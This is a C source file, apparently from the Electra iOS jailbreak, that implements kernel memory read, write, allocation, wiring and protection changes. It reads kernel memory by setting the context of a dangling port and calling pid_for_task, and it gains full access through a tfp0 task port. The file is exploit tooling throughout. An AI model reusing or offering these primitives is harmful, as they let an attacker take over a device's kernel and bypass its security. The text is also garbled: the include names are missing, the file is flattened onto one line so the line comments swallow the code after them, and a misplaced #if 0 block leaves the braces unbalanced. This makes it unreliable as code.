#include #include #include #include #include "kmem.h" #include "kutils.h" /***** mach_vm.h *****/ kern_return_t mach_vm_read( vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); kern_return_t mach_vm_write( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_read_overwrite( vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_allocate( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_deallocate ( vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); kern_return_t mach_vm_protect ( vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection); // the exploit bootstraps the full kernel memory read/write with a fake // task which just allows reading via the bsd_info->pid trick // this first port is kmem_read_port mach_port_t kmem_read_port = MACH_PORT_NULL; void prepare_rk_via_kmem_read_port(mach_port_t port) { kmem_read_port = port; } mach_port_t tfp1 = MACH_PORT_NULL; void prepare_rwk_via_tfp0(mach_port_t port) { tfp1 = port; } int have_kmem_read() { return (kmem_read_port != MACH_PORT_NULL) || (tfp1 != MACH_PORT_NULL); } int have_kmem_write() { return (tfp1 != MACH_PORT_NULL); } uint32_t rk32_via_kmem_read_port(uint64_t kaddr) { kern_return_t err; if (kmem_read_port == MACH_PORT_NULL) { printf("kmem_read_port not set, have you called prepare_rk?\n"); sleep(10); exit(EXIT_FAILURE); } mach_port_context_t context = (mach_port_context_t)kaddr - 0x10; err = mach_port_set_context(mach_task_self(), kmem_read_port, context); if (err != KERN_SUCCESS) { printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err)); sleep(10); exit(EXIT_FAILURE); } // now do the read: uint32_t val = 0; err = pid_for_task(kmem_read_port, (int*)&val); if (err != KERN_SUCCESS) { printf("error calling pid_for_task %x %s", err, mach_error_string(err)); sleep(10); exit(EXIT_FAILURE); } return val; } uint32_t rk32_via_tfp0(uint64_t kaddr) { kern_return_t err; uint32_t val = 0; mach_vm_size_t outsize = 0; err = mach_vm_read_overwrite(tfp1, (mach_vm_address_t)kaddr, (mach_vm_size_t)sizeof(uint32_t), (mach_vm_address_t)&val, &outsize); if (err != KERN_SUCCESS){ printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1); sleep(3); return 0; } if (outsize != sizeof(uint32_t)){ printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); sleep(3); return 0; } return val; } uint32_t rk32_electra(uint64_t kaddr) { if (tfp1 != MACH_PORT_NULL) { return rk32_via_tfp0(kaddr); } if (kmem_read_port != MACH_PORT_NULL) { return rk32_via_kmem_read_port(kaddr); } printf("attempt to read kernel memory but no kernel memory read primitives available\n"); sleep(3); return 0; } uint64_t rk64_electra(uint64_t kaddr) { uint64_t lower = rk32_electra(kaddr); uint64_t higher = rk32_electra(kaddr+4); uint64_t full = ((higher<<32) | lower); return full; } void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { if (tfp1 == MACH_PORT_NULL) { printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); sleep(3); return; } kern_return_t err; err = mach_vm_write(tfp1, (mach_vm_address_t)kaddr, (vm_offset_t)buffer, (mach_msg_type_number_t)length); if (err != KERN_SUCCESS) { printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); return; } } void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { kern_return_t err; mach_vm_size_t outsize = 0; err = mach_vm_read_overwrite(tfp1, (mach_vm_address_t)kaddr, (mach_vm_size_t)length, (mach_vm_address_t)buffer, &outsize); if (err != KERN_SUCCESS){ printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1); sleep(3); return; } if (outsize != length){ printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); sleep(3); return; } } const uint64_t kernel_address_space_base = 0xffff000000000000; void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) { if (dest >= kernel_address_space_base) { // copy to kernel: wkbuffer(dest, (void*) src, length); } else { // copy from kernel rkbuffer(src, (void*)dest, length); } } void wk32_electra(uint64_t kaddr, uint32_t val) { if (tfp1 == MACH_PORT_NULL) { printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); sleep(3); return; } kern_return_t err; err = mach_vm_write(tfp1, (mach_vm_address_t)kaddr, (vm_offset_t)&val, (mach_msg_type_number_t)sizeof(uint32_t)); if (err != KERN_SUCCESS) { printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); return; } } void wk64_electra(uint64_t kaddr, uint64_t val) { uint32_t lower = (uint32_t)(val & 0xffffffff); uint32_t higher = (uint32_t)(val >> 32); wk32_electra(kaddr, lower); wk32_electra(kaddr+4, higher); } uint64_t kmem_alloc(uint64_t size) { if (tfp1 == MACH_PORT_NULL) { printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); sleep(3); return 0; } kern_return_t err; mach_vm_address_t addr = 0; mach_vm_size_t ksize = round_page_kernel(size); err = mach_vm_allocate(tfp1, &addr, ksize, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return 0; } return addr; } uint64_t kmem_alloc_wired(uint64_t size) { if (tfp1 == MACH_PORT_NULL) { printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); sleep(3); return 0; } kern_return_t err; mach_vm_address_t addr = 0; mach_vm_size_t ksize = round_page_kernel(size); printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size); err = mach_vm_allocate(tfp1, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return 0; } printf("allocated address: %llx\n", addr); addr += 0x3fff; addr &= ~0x3fffull; printf("address to wire: %llx\n", addr); err = mach_vm_wire(fake_host_priv(), tfp1, addr, ksize, VM_PROT_READ|VM_PROT_WRITE); if (err != KERN_SUCCESS) { printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return 0; } return addr; } void kmem_free(uint64_t kaddr, uint64_t size) { #if 0 if (tfp1 == MACH_PORT_NULL) { printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n"); sleep(3); return; } kern_return_t err; mach_vm_size_t ksize = round_page_kernel(size); err = mach_vm_deallocate(tfp1, kaddr, ksize); if (err != KERN_SUCCESS) { printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return; } } void kmem_protect(uint64_t kaddr, uint32_t size, int prot) { if (tfp1 == MACH_PORT_NULL) { printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n"); sleep(3); return; } kern_return_t err; err = mach_vm_protect(tfp1, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot); if (err != KERN_SUCCESS) { printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return; } #endif }